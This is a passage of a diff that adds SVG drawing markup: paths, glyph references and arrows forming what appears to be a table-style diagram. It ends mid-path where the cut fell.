+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 25.3 26.486328 C 25.134375 26.486328 25 26.620703 25 26.786328 L 25 30.186328 C 25 30.351953 25.134375 30.486328 25.3 30.486328 L 38.7 30.486328 C 38.865625 30.486328 39 30.351953 39 30.186328 L 39 26.786328 C 39 26.620703 38.865625 26.486328 38.7 26.486328 Z M 25.3 26.486328 " transform="matrix(20,0,0,20,21,-479)"/>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(99.215686%,87.450981%,73.333335%);stroke-opacity:1;stroke-miterlimit:10;" d="M 25 27.59043 L 39 27.59043 L 39 28.476367 L 25 28.476367 Z M 25 27.59043 " transform="matrix(20,0,0,20,21,-479)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-1" x="528.78125" y="68.205404"/>
+  <use xlink:href="#glyph1-2" x="531.836806" y="68.205404"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-3" x="553.225694" y="68.205404"/>
+  <use xlink:href="#glyph1-4" x="559.614583" y="68.205404"/>
+  <use xlink:href="#glyph1-5" x="565.447917" y="68.205404"/>
+  <use xlink:href="#glyph1-6" x="574.892361" y="68.205404"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-7" x="602.114583" y="68.205404"/>
+  <use xlink:href="#glyph1-8" x="608.503472" y="68.205404"/>
+  <use xlink:href="#glyph1-1" x="612.392361" y="68.205404"/>
+  <use xlink:href="#glyph1-9" x="615.447917" y="68.205404"/>
+  <use xlink:href="#glyph1-6" x="620.447917" y="68.205404"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-10" x="651.003472" y="68.205404"/>
+  <use xlink:href="#glyph1-10" x="654.059028" y="68.205404"/>
+  <use xlink:href="#glyph1-2" x="657.114583" y="68.205404"/>
+  <use xlink:href="#glyph1-6" x="663.503472" y="68.205404"/>
+  <use xlink:href="#glyph1-11" x="669.614583" y="68.205404"/>
+  <use xlink:href="#glyph1-9" x="674.614583" y="68.205404"/>
+  <use xlink:href="#glyph1-8" x="679.892361" y="68.205404"/>
+  <use xlink:href="#glyph1-1" x="683.78125" y="68.205404"/>
+  <use xlink:href="#glyph1-7" x="686.836806" y="68.205404"/>
+  <use xlink:href="#glyph1-12" x="693.225694" y="68.205404"/>
+  <use xlink:href="#glyph1-1" x="697.392361" y="68.205404"/>
+  <use xlink:href="#glyph1-13" x="700.447917" y="68.205404"/>
+  <use xlink:href="#glyph1-3" x="706.836806" y="68.205404"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-10" x="724.336806" y="68.205404"/>
+  <use xlink:href="#glyph1-10" x="727.392361" y="68.205404"/>
+  <use xlink:href="#glyph1-10" x="730.447917" y="68.205404"/>
+  <use xlink:href="#glyph1-9" x="733.503472" y="68.205404"/>
+  <use xlink:href="#glyph1-4" x="738.78125" y="68.205404"/>
+  <use xlink:href="#glyph1-12" x="744.614583" y="68.205404"/>
+  <use xlink:href="#glyph1-6" x="748.503472" y="68.205404"/>
+  <use xlink:href="#glyph1-14" x="754.336806" y="68.205404"/>
+  <use xlink:href="#glyph1-13" x="760.725694" y="68.205404"/>
+  <use xlink:href="#glyph1-8" x="767.114583" y="68.205404"/>
+  <use xlink:href="#glyph1-15" x="771.003472" y="68.205404"/>
+  <use xlink:href="#glyph1-16" x="776.559028" y="68.205404"/>
+  <use xlink:href="#glyph1-1" x="781.559028" y="68.205404"/>
+  <use xlink:href="#glyph1-2" x="784.614583" y="68.205404"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-17" x="528.78125" y="86.549154"/>
+  <use xlink:href="#glyph1-18" x="535.447917" y="86.549154"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-19" x="553.225694" y="86.549154"/>
+  <use xlink:href="#glyph1-1" x="560.170139" y="86.549154"/>
+  <use xlink:href="#glyph1-20" x="563.225694" y="86.549154"/>
+  <use xlink:href="#glyph1-6" x="568.78125" y="86.549154"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-21" x="602.114583" y="86.549154"/>
+  <use xlink:href="#glyph1-22" x="608.78125" y="86.549154"/>
+  <use xlink:href="#glyph1-23" x="615.447917" y="86.549154"/>
+  <use xlink:href="#glyph1-23" x="622.114583" y="86.549154"/>
+  <use xlink:href="#glyph1-24" x="628.78125" y="86.549154"/>
+  <use xlink:href="#glyph1-23" x="631.28125" y="86.549154"/>
+  <use xlink:href="#glyph1-23" x="637.947917" y="86.549154"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-10" x="651.003472" y="86.549154"/>
+  <use xlink:href="#glyph1-10" x="654.059028" y="86.549154"/>
+  <use xlink:href="#glyph1-25" x="657.114583" y="86.549154"/>
+  <use xlink:href="#glyph1-26" x="663.503472" y="86.549154"/>
+  <use xlink:href="#glyph1-6" x="669.336806" y="86.549154"/>
+  <use xlink:href="#glyph1-2" x="675.447917" y="86.549154"/>
+  <use xlink:href="#glyph1-10" x="681.836806" y="86.549154"/>
+  <use xlink:href="#glyph1-24" x="684.614583" y="86.549154"/>
+  <use xlink:href="#glyph1-24" x="687.392361" y="86.549154"/>
+  <use xlink:href="#glyph1-24" x="690.170139" y="86.549154"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-10" x="724.336806" y="86.549154"/>
+  <use xlink:href="#glyph1-10" x="727.392361" y="86.549154"/>
+  <use xlink:href="#glyph1-10" x="730.447917" y="86.549154"/>
+  <use xlink:href="#glyph1-18" x="733.503472" y="86.549154"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-17" x="528.78125" y="104.892904"/>
+  <use xlink:href="#glyph1-27" x="535.447917" y="104.892904"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-28" x="553.225694" y="104.892904"/>
+  <use xlink:href="#glyph1-6" x="561.003472" y="104.892904"/>
+  <use xlink:href="#glyph1-29" x="567.114583" y="104.892904"/>
+  <use xlink:href="#glyph1-5" x="570.447917" y="104.892904"/>
+  <use xlink:href="#glyph1-6" x="579.892361" y="104.892904"/>
+  <use xlink:href="#glyph1-12" x="586.003472" y="104.892904"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-21" x="602.114583" y="104.892904"/>
+  <use xlink:href="#glyph1-18" x="608.78125" y="104.892904"/>
+  <use xlink:href="#glyph1-23" x="615.447917" y="104.892904"/>
+  <use xlink:href="#glyph1-24" x="622.114583" y="104.892904"/>
+  <use xlink:href="#glyph1-30" x="624.614583" y="104.892904"/>
+  <use xlink:href="#glyph1-30" x="631.28125" y="104.892904"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-10" x="651.003472" y="104.892904"/>
+  <use xlink:href="#glyph1-10" x="654.059028" y="104.892904"/>
+  <use xlink:href="#glyph1-31" x="657.114583" y="104.892904"/>
+  <use xlink:href="#glyph1-29" x="663.503472" y="104.892904"/>
+  <use xlink:href="#glyph1-4" x="666.836806" y="104.892904"/>
+  <use xlink:href="#glyph1-9" x="672.670139" y="104.892904"/>
+  <use xlink:href="#glyph1-20" x="677.947917" y="104.892904"/>
+  <use xlink:href="#glyph1-10" x="683.225694" y="104.892904"/>
+  <use xlink:href="#glyph1-24" x="686.003472" y="104.892904"/>
+  <use xlink:href="#glyph1-24" x="688.78125" y="104.892904"/>
+  <use xlink:href="#glyph1-24" x="691.559028" y="104.892904"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-10" x="724.336806" y="104.892904"/>
+  <use xlink:href="#glyph1-10" x="727.392361" y="104.892904"/>
+  <use xlink:href="#glyph1-10" x="730.447917" y="104.892904"/>
+  <use xlink:href="#glyph1-32" x="733.503472" y="104.892904"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-17" x="528.78125" y="123.24056"/>
+  <use xlink:href="#glyph1-33" x="535.447917" y="123.24056"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-34" x="553.225694" y="123.24056"/>
+  <use xlink:href="#glyph1-6" x="556.836806" y="123.24056"/>
+  <use xlink:href="#glyph1-8" x="562.947917" y="123.24056"/>
+  <use xlink:href="#glyph1-11" x="566.836806" y="123.24056"/>
+  <use xlink:href="#glyph1-6" x="571.836806" y="123.24056"/>
+  <use xlink:href="#glyph1-15" x="577.670139" y="123.24056"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-21" x="602.114583" y="123.24056"/>
+  <use xlink:href="#glyph1-27" x="608.78125" y="123.24056"/>
+  <use xlink:href="#glyph1-35" x="615.447917" y="123.24056"/>
+  <use xlink:href="#glyph1-24" x="622.114583" y="123.24056"/>
+  <use xlink:href="#glyph1-23" x="624.614583" y="123.24056"/>
+  <use xlink:href="#glyph1-23" x="631.28125" y="123.24056"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-10" x="651.003472" y="123.24056"/>
+  <use xlink:href="#glyph1-10" x="654.059028" y="123.24056"/>
+  <use xlink:href="#glyph1-36" x="657.114583" y="123.24056"/>
+  <use xlink:href="#glyph1-13" x="665.725694" y="123.24056"/>
+  <use xlink:href="#glyph1-5" x="672.114583" y="123.24056"/>
+  <use xlink:href="#glyph1-6" x="681.559028" y="123.24056"/>
+  <use xlink:href="#glyph1-3" x="687.670139" y="123.24056"/>
+  <use xlink:href="#glyph1-37" x="694.059028" y="123.24056"/>
+  <use xlink:href="#glyph1-11" x="696.003472" y="123.24056"/>
+  <use xlink:href="#glyph1-10" x="701.003472" y="123.24056"/>
+  <use xlink:href="#glyph1-24" x="703.78125" y="123.24056"/>
+  <use xlink:href="#glyph1-24" x="706.559028" y="123.24056"/>
+  <use xlink:href="#glyph1-24" x="709.336806" y="123.24056"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-10" x="724.336806" y="123.24056"/>
+  <use xlink:href="#glyph1-10" x="727.392361" y="123.24056"/>
+  <use xlink:href="#glyph1-10" x="730.447917" y="123.24056"/>
+  <use xlink:href="#glyph1-38" x="733.503472" y="123.24056"/>
+</g>
+<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 25 27.59043 L 39 27.586328 " transform="matrix(20,0,0,20,21,-479)"/>
+<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 26.33457 26.486328 L 26.33457 30.486328 " transform="matrix(20,0,0,20,21,-479)"/>
+<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 28.730078 26.486328 L 28.730078 30.486328 " transform="matrix(20,0,0,20,21,-479)"/>
+<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 31.439258 26.486328 L 31.439258 30.486328 " transform="matrix(20,0,0,20,21,-479)"/>
+<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 35.129492 26.486328 L 35.129492 30.486328 " transform="matrix(20,0,0,20,21,-479)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 25.3 26.486328 C 25.134375 26.486328 25 26.620703 25 26.786328 L 25 30.186328 C 25 30.351953 25.134375 30.486328 25.3 30.486328 L 38.7 30.486328 C 38.865625 30.486328 39 30.351953 39 30.186328 L 39 26.786328 C 39 26.620703 38.865625 26.486328 38.7 26.486328 Z M 25.3 26.486328 " transform="matrix(20,0,0,20,21,-479)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-1" x="507.953125" y="241.00217"/>
+  <use xlink:href="#glyph0-2" x="515.175347" y="241.00217"/>
+  <use xlink:href="#glyph0-3" x="523.230903" y="241.00217"/>
+  <use xlink:href="#glyph0-4" x="532.119792" y="241.00217"/>
+  <use xlink:href="#glyph0-5" x="536.842014" y="241.00217"/>
+  <use xlink:href="#glyph0-6" x="545.175347" y="241.00217"/>
+  <use xlink:href="#glyph0-7" x="549.342014" y="241.00217"/>
+  <use xlink:href="#glyph0-13" x="553.786458" y="241.00217"/>
+  <use xlink:href="#glyph0-2" x="561.008681" y="241.00217"/>
+  <use xlink:href="#glyph0-14" x="569.064236" y="241.00217"/>
+  <use xlink:href="#glyph0-5" x="574.619792" y="241.00217"/>
+  <use xlink:href="#glyph0-15" x="582.953125" y="241.00217"/>
+  <use xlink:href="#glyph0-10" x="591.842014" y="241.00217"/>
+  <use xlink:href="#glyph0-9" x="600.730903" y="241.00217"/>
+  <use xlink:href="#glyph0-16" x="606.286458" y="241.00217"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 25.293359 36.486523 C 25.127734 36.486523 24.993359 36.620898 24.993359 36.786523 L 24.993359 40.186523 C 24.993359 40.352148 25.127734 40.486523 25.293359 40.486523 L 28.693359 40.486523 C 28.85918 40.486523 28.993359 40.352148 28.993359 40.186523 L 28.993359 36.786523 C 28.993359 36.620898 28.85918 36.486523 28.693359 36.486523 Z M 25.293359 36.486523 " transform="matrix(20,0,0,20,21,-479)"/>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(99.215686%,87.450981%,73.333335%);stroke-opacity:1;stroke-miterlimit:10;" d="M 24.993359 37.590625 L 28.993359 37.590625 L 28.993359 38.476562 L 24.993359 38.476562 Z M 24.993359 37.590625 " transform="matrix(20,0,0,20,21,-479)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-1" x="528.648438" y="268.20931"/>
+  <use xlink:href="#glyph1-2" x="531.703993" y="268.20931"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-3" x="553.092882" y="268.20931"/>
+  <use xlink:href="#glyph1-4" x="559.481771" y="268.20931"/>
+  <use xlink:href="#glyph1-5" x="565.315104" y="268.20931"/>
+  <use xlink:href="#glyph1-6" x="574.759549" y="268.20931"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-18" x="528.648438" y="286.55306"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-19" x="553.092882" y="286.55306"/>
+  <use xlink:href="#glyph1-1" x="560.037326" y="286.55306"/>
+  <use xlink:href="#glyph1-20" x="563.092882" y="286.55306"/>
+  <use xlink:href="#glyph1-6" x="568.648438" y="286.55306"/>
+  <use xlink:href="#glyph1-11" x="574.759549" y="286.55306"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-32" x="528.648438" y="304.900716"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-28" x="553.092882" y="304.900716"/>
+  <use xlink:href="#glyph1-6" x="560.87066" y="304.900716"/>
+  <use xlink:href="#glyph1-29" x="566.981771" y="304.900716"/>
+  <use xlink:href="#glyph1-5" x="570.315104" y="304.900716"/>
+  <use xlink:href="#glyph1-6" x="579.759549" y="304.900716"/>
+  <use xlink:href="#glyph1-12" x="585.87066" y="304.900716"/>
+  <use xlink:href="#glyph1-11" x="590.037326" y="304.900716"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-38" x="528.648438" y="323.244466"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-34" x="553.092882" y="323.244466"/>
+  <use xlink:href="#glyph1-6" x="556.703993" y="323.244466"/>
+  <use xlink:href="#glyph1-8" x="562.815104" y="323.244466"/>
+  <use xlink:href="#glyph1-11" x="566.703993" y="323.244466"/>
+  <use xlink:href="#glyph1-6" x="571.703993" y="323.244466"/>
+  <use xlink:href="#glyph1-15" x="577.537326" y="323.244466"/>
+  <use xlink:href="#glyph1-11" x="583.092882" y="323.244466"/>
+</g>
+<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 24.993359 37.590625 L 28.993359 37.586523 " transform="matrix(20,0,0,20,21,-479)"/>
+<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 26.32793 36.486523 L 26.32793 40.486523 " transform="matrix(20,0,0,20,21,-479)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 25.293359 36.486523 C 25.127734 36.486523 24.993359 36.620898 24.993359 36.786523 L 24.993359 40.186523 C 24.993359 40.352148 25.127734 40.486523 25.293359 40.486523 L 28.693359 40.486523 C 28.85918 40.486523 28.993359 40.352148 28.993359 40.186523 L 28.993359 36.786523 C 28.993359 36.620898 28.85918 36.486523 28.693359 36.486523 Z M 25.293359 36.486523 " transform="matrix(20,0,0,20,21,-479)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 10 27.5 L 23.45 27.5 " transform="matrix(20,0,0,20,21,-479)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 23.45 27.75 L 23.95 27.5 L 23.45 27.25 Z M 23.45 27.75 " transform="matrix(20,0,0,20,21,-479)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 10.561719 29.5 L 24 29.5 " transform="matrix(20,0,0,20,21,-479)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 10.561719 29.25 L 10.061719 29.5 L 10.561719 29.75 Z M 10.561719 29.25 " transform="matrix(20,0,0,20,21,-479)"/>
+<path style="fill-rule:evenodd;fill:rgb(69.803923%,83.137256%,92.156863%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 20.6 30.8 C 20.607617 31.457227 21.142773 31.986133 21.8 31.986133 C 22.457227 31.986133 22.992383 31.457227 23 30.8 C 23 29.4 23 28 23 26.6 C 23 26.281836 22.873633 25.976562 22.648438 25.751562 C 22.423438 25.526367 22.118164 25.4 21.8 25.4 C 21.481836 25.4 21.176562 25.526367 20.951563 25.751562 C 20.726367 25.976562 20.6 26.281836 20.6 26.6 C 20.6 28 20.6 29.4 20.6 30.8 Z M 20.6 30.8 " transform="matrix(20,0,0,20,21,-479)"/>
+<path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 465.523438 65.085938 C 465.566406 65.308594 465.59375 65.5625 465.609375 65.851562 C 465.636719 66.128906 465.652344 66.410156 465.652344 66.699219 C 465.664062 66.996094 465.671875 67.28125 465.671875 67.566406 C 465.683594 67.847656 465.695312 68.117188 465.695312 68.371094 C 465.695312 69.414062 465.515625 70.304688 465.164062 71.042969 C 464.824219 71.789062 464.328125 72.386719 463.679688 72.84375 C 463.046875 73.308594 462.273438 73.636719 461.371094 73.839844 C 460.464844 74.050781 459.453125 74.15625 458.339844 74.15625 C 457.351562 74.15625 456.394531 74.054688 455.480469 73.859375 C 454.558594 73.660156 453.753906 73.332031 453.0625 72.863281 C 452.371094 72.410156 451.8125 71.804688 451.390625 71.042969 C 450.976562 70.277344 450.773438 69.324219 450.773438 68.179688 C 450.773438 67.996094 450.773438 67.757812 450.773438 67.460938 C 450.785156 67.175781 450.800781 66.878906 450.816406 66.570312 C 450.84375 66.257812 450.863281 65.964844 450.882812 65.703125 C 450.890625 65.429688 450.914062 65.226562 450.945312 65.085938 M 464.339844 68.433594 C 464.339844 68.292969 464.339844 68.140625 464.339844 67.96875 C 464.339844 67.800781 464.328125 67.636719 464.316406 67.480469 C 464.300781 67.324219 464.285156 67.175781 464.273438 67.035156 C 464.257812 66.894531 464.242188 66.78125 464.230469 66.699219 L 452.214844 66.699219 C 452.199219 66.75 452.183594 66.855469 452.171875 67.015625 C 452.171875 67.167969 452.164062 67.324219 452.152344 67.480469 C 452.152344 67.652344 452.140625 67.808594 452.132812 67.96875 C 452.132812 68.121094 452.132812 68.234375 452.132812 68.308594 C 452.132812 69.097656 452.300781 69.761719 452.640625 70.300781 C 452.980469 70.835938 453.429688 71.257812 453.996094 71.570312 C 454.558594 71.894531 455.214844 72.121094 455.96875 72.25 C 456.730469 72.378906 457.523438 72.441406 458.363281 72.441406 C 459.109375 72.441406 459.84375 72.382812 460.566406 72.269531 C 461.285156 72.15625 461.921875 71.941406 462.472656 71.636719 C 463.023438 71.339844 463.46875 70.9375 463.808594 70.425781 C 464.15625 69.917969 464.339844 69.25 464.339844 68.433594 M 456.199219 75.34375 C 458.066406 75.34375 459.433594 75.671875 460.3125 76.339844 C 461.1875 77.019531 461.625 77.976562 461.625 79.222656 C 461.625 80.546875 461.167969 81.523438 460.269531 82.148438 C 459.378906 82.78125 458.023438 83.101562 456.199219 83.101562 C 454.320312 83.101562 452.941406 82.761719 452.066406 82.082031 C 451.203125 81.40625 450.773438 80.453125 450.773438 79.222656 C 450.773438 77.890625 451.21875 76.914062 452.109375 76.277344 C 453.011719 75.652344 454.378906 75.34375 456.199219 75.34375 M 456.199219 76.976562 C 455.589844 76.976562 455.039062 77.007812 454.546875 77.082031 C 454.050781 77.167969 453.621094 77.300781 453.253906 77.484375 C 452.898438 77.664062 452.625 77.898438 452.429688 78.183594 C 452.226562 78.480469 452.132812 78.824219 452.132812 79.222656 C 452.132812 79.984375 452.449219 80.546875 453.085938 80.917969 C 453.730469 81.300781 454.769531 81.488281 456.199219 81.488281 C 456.792969 81.488281 457.332031 81.449219 457.832031 81.363281 C 458.339844 81.289062 458.769531 81.160156 459.125 80.980469 C 459.492188 80.796875 459.769531 80.558594 459.972656 80.261719 C 460.167969 79.972656 460.269531 79.628906 460.269531 79.222656 C 460.269531 78.484375 459.941406 77.929688 459.292969 77.546875 C 458.644531 77.167969 457.609375 76.976562 456.199219 76.976562 M 451.539062 91.300781 C 451.285156 90.929688 451.09375 90.519531 450.964844 90.050781 C 450.839844 89.597656 450.773438 89.117188 450.773438 88.609375 C 450.773438 87.917969 450.902344 87.328125 451.15625 86.851562 C 451.410156 86.371094 451.777344 85.984375 452.257812 85.6875 C 452.734375 85.390625 453.308594 85.167969 453.976562 85.027344 C 454.636719 84.902344 455.378906 84.839844 456.199219 84.839844 C 457.964844 84.839844 459.304688 85.160156 460.226562 85.8125 C 461.160156 86.476562 461.625 87.421875 461.625 88.652344 C 461.625 89.214844 461.574219 89.703125 461.476562 90.113281 C 461.375 90.523438 461.25 90.867188 461.09375 91.152344 L 459.761719 90.730469 C 460.097656 90.148438 460.269531 89.523438 460.269531 88.84375 C 460.269531 88.046875 459.933594 87.457031 459.273438 87.0625 C 458.621094 86.664062 457.597656 86.46875 456.199219 86.46875 C 455.632812 86.46875 455.101562 86.511719 454.609375 86.597656 C 454.113281 86.683594 453.683594 86.820312 453.316406 87.019531 C 452.945312 87.234375 452.660156 87.492188 452.449219 87.804688 C 452.238281 88.128906 452.132812 88.53125 452.132812 89.011719 C 452.132812 89.378906 452.195312 89.722656 452.320312 90.050781 C 452.460938 90.375 452.617188 90.644531 452.789062 90.855469 M 461.625 92.359375 L 461.625 93.695312 L 463.828125 93.695312 L 464.339844 95.242188 L 461.625 95.242188 L 461.625 97.597656 L 460.269531 97.597656 L 460.269531 95.242188 L 453.910156 95.242188 C 453.277344 95.242188 452.816406 95.316406 452.535156 95.476562 C 452.265625 95.628906 452.132812 95.878906 452.132812 96.21875 C 452.132812 96.515625 452.164062 96.757812 452.238281 96.960938 C 452.304688 97.171875 452.390625 97.40625 452.492188 97.660156 L 451.285156 97.957031 C 451.125 97.644531 450.996094 97.289062 450.902344 96.894531 C 450.816406 96.515625 450.773438 96.117188 450.773438 95.710938 C 450.773438 94.988281 450.996094 94.46875 451.453125 94.164062 C 451.917969 93.851562 452.671875 93.695312 453.71875 93.695312 L 460.269531 93.695312 L 460.269531 92.359375 M 461.625 98.867188 L 461.625 99.992188 L 460.3125 100.265625 L 460.3125 100.328125 C 460.71875 100.527344 461.039062 100.785156 461.265625 101.113281 C 461.503906 101.4375 461.625 101.835938 461.625 102.300781 C 461.625 102.625 461.566406 103 461.457031 103.421875 L 460.078125 103.125 C 460.207031 102.746094 460.269531 102.410156 460.269531 102.132812 C 460.269531 101.664062 460.132812 101.285156 459.867188 100.988281 C 459.597656 100.699219 459.234375 100.519531 458.785156 100.433594 L 450.773438 100.433594 L 450.773438 98.867188 M 461.625 104.566406 L 461.625 106.113281 L 450.773438 106.113281 L 450.773438 104.566406 M 464.296875 104.269531 C 464.703125 104.269531 465.039062 104.367188 465.292969 104.566406 C 465.554688 104.765625 465.695312 105.019531 465.695312 105.332031 C 465.695312 105.652344 465.566406 105.925781 465.3125 106.136719 C 465.070312 106.347656 464.730469 106.453125 464.296875 106.453125 C 463.882812 106.453125 463.558594 106.347656 463.320312 106.136719 C 463.09375 105.925781 462.980469 105.652344 462.980469 105.332031 C 462.980469 105.019531 463.097656 104.765625 463.34375 104.566406 C 463.582031 104.367188 463.898438 104.269531 464.296875 104.269531 M 450.773438 113.933594 L 457.261719 113.933594 C 458.320312 113.933594 459.082031 113.808594 459.546875 113.554688 C 460.023438 113.300781 460.269531 112.84375 460.269531 112.195312 C 460.269531 111.613281 460.097656 111.136719 459.761719 110.757812 C 459.421875 110.375 459.003906 110.097656 458.511719 109.929688 L 450.773438 109.929688 L 450.773438 108.363281 L 461.625 108.363281 L 461.625 109.503906 L 460.246094 109.78125 L 460.246094 109.84375 C 460.628906 110.125 460.953125 110.5 461.222656 110.96875 C 461.488281 111.433594 461.625 111.992188 461.625 112.640625 C 461.625 113.109375 461.5625 113.515625 461.433594 113.871094 C 461.308594 114.222656 461.085938 114.519531 460.777344 114.761719 C 460.480469 115 460.078125 115.175781 459.570312 115.292969 C 459.0625 115.417969 458.414062 115.480469 457.640625 115.480469 L 450.773438 115.480469 M 451.730469 124.363281 C 451.433594 124.007812 451.199219 123.5625 451.027344 123.027344 C 450.859375 122.5 450.773438 121.945312 450.773438 121.351562 C 450.773438 120.65625 450.902344 120.066406 451.15625 119.570312 C 451.410156 119.074219 451.777344 118.667969 452.257812 118.34375 C 452.734375 118.015625 453.300781 117.777344 453.953125 117.621094 C 454.617188 117.464844 455.363281 117.390625 456.199219 117.390625 C 457.964844 117.390625 459.304688 117.726562 460.226562 118.40625 C 461.160156 119.085938 461.625 120.042969 461.625 121.289062 C 461.625 121.695312 461.574219 122.097656 461.476562 122.496094 C 461.390625 122.886719 461.207031 123.242188 460.925781 123.554688 C 460.640625 123.878906 460.246094 124.140625 459.738281 124.339844 C 459.230469 124.535156 458.5625 124.636719 457.746094 124.636719 C 457.519531 124.636719 457.269531 124.621094 457.003906 124.59375 C 456.75 124.578125 456.480469 124.558594 456.199219 124.53125 L 456.199219 119.019531 C 455.574219 119.019531 455.011719 119.070312 454.503906 119.167969 C 454.007812 119.265625 453.582031 119.421875 453.234375 119.636719 C 452.878906 119.859375 452.601562 120.144531 452.40625 120.484375 C 452.222656 120.824219 452.132812 121.246094 452.132812 121.753906 C 452.132812 122.148438 452.195312 122.539062 452.320312 122.921875 C 452.460938 123.300781 452.628906 123.589844 452.832031 123.789062 M 